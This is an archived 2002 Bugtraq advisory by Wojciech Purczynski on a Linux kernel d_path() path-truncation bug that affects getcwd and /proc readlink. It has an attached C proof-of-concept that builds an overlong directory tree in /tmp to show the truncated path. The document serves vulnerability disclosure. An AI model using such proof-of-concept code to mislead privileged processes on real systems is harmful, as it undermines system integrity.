8202626 2002-03-26 14:40 +0100 /83 rader/ Wojciech Purczynski <cliph@isec.pl>
Sänt av: joel@lysator.liu.se
Importerad: 2002-03-26 22:38 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: vulnwatch@vulnwatch.org
Extern mottagare: linux-kernel@vger.kernel.org
Extern kopiemottagare: security@isec.pl
Externa svar till: security@isec.pl
Mottagare: Bugtraq (import) <21589>
Ärende: d_path() truncating excessive long path name vulnerability
------------------------------------------------------------
From: Wojciech Purczynski <cliph@isec.pl>
To: bugtraq@securityfocus.com, <vulnwatch@vulnwatch.org>,
<linux-kernel@vger.kernel.org>
Cc: security@isec.pl
Message-ID: <Pine.LNX.4.44.0203261416290.27066-200000@isec.pl>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Name: Linux kernel
Version: up to 2.2.20 and 2.4.18
Homepage: http://www.kernel.org/
Author: Wojciech Purczynski <cliph@isec.pl>
Date: March 26, 2002
Issue:
======
In case of excessively long path names d_path kernel internal
function returns truncated trailing components of a path name instead
of an error value. As this function is called by getcwd(2) system
call and do_proc_readlink() function, false information may be
returned to user-space processes.
Description:
============
Linux is a clone of the operating system Unix, written from scratch
by Linus Torvalds with assistance from a loosely-knit team of hackers
across the Net. It aims towards POSIX and Single UNIX Specification
compliance.
Details:
========
d_path kernel function resolves a string of absolute path name of a
dentry passed as an argument to the function.
The path is a concatenation of subsequent path components starting
from trailing path component. The concatenated path name is stored
into a fixed-length buffer of PAGE_SIZE bytes.
If a dentry points to a path that exceeds PAGE_SIZE - 1 characters
length, leading path components are not written to the buffer and
function returns truncated path without an error value.
Because getcwd(2) system call uses d_path() function, it may return
invalid path to the user-space process. However, if a returned path is
longer than user-space buffer a correct error value is returned.
readlink(2) system call called on proc filesystem uses
do_proc_readlink() function which is also vulnerable to d_path() bug.
Impact:
=======
Privileged process may be tricked to think it is inside of arbitrary
directory. Other scenarios are possible if readlink() is used on
files on proc filesystem (like "/proc/self/exe").
PS: Please CC to security@isec.pl as I may not be subscribed to the list.
- --
Wojciech Purczynski
iSEC Security Research
http://isec.pl/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE8oHpKC+8U3Z5wpu4RAn6qAJ4seIO2xfXvrHmTMFQoMkGus23fJwCgjka7
ew84vFEFTO8lI7PQgEdyG0c=
=sEfh
-----END PGP SIGNATURE-----
(8202626) /Wojciech Purczynski <cliph@isec.pl>/(Ombruten)
Bilaga (text/plain) i text 8202627
8202627 2002-03-26 14:40 +0100 /62 rader/ Wojciech Purczynski <cliph@isec.pl>
Bilagans filnamn: "dpathx.c"
Importerad: 2002-03-26 22:38 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: vulnwatch@vulnwatch.org
Extern mottagare: linux-kernel@vger.kernel.org
Extern kopiemottagare: security@isec.pl
Externa svar till: security@isec.pl
Mottagare: Bugtraq (import) <21590>
Bilaga (text/plain) till text 8202626
Ärende: Bilaga (dpathx.c) till: d_path() truncating excessive long path name vulnerability
------------------------------------------------------------
/*
* 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
*
* Bug found by cliph
*/
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>
/*
* Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for
* trailing '\0'
*/
#define PATH_COMPONENT "123456789abcdef"
void err(char * msg)
{
if (errno) {
perror(msg);
exit(1);
}
}
int main()
{
char buf[PATH_MAX + 1]; /* think of trailing '\0' */
int len;
errno = 0;
chdir(_PATH_TMP);
err("chdir");
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s\n", buf);
/* creating long directory tree - it must exceed PATH_MAX characters */
for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
errno = 0;
mkdir(PATH_COMPONENT, 0700);
if (errno != EEXIST)
err("mkdir");
errno = 0;
chdir(PATH_COMPONENT);
err("mkdir");
}
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
return 0;
}
(8202627) /Wojciech Purczynski <cliph@isec.pl>/-----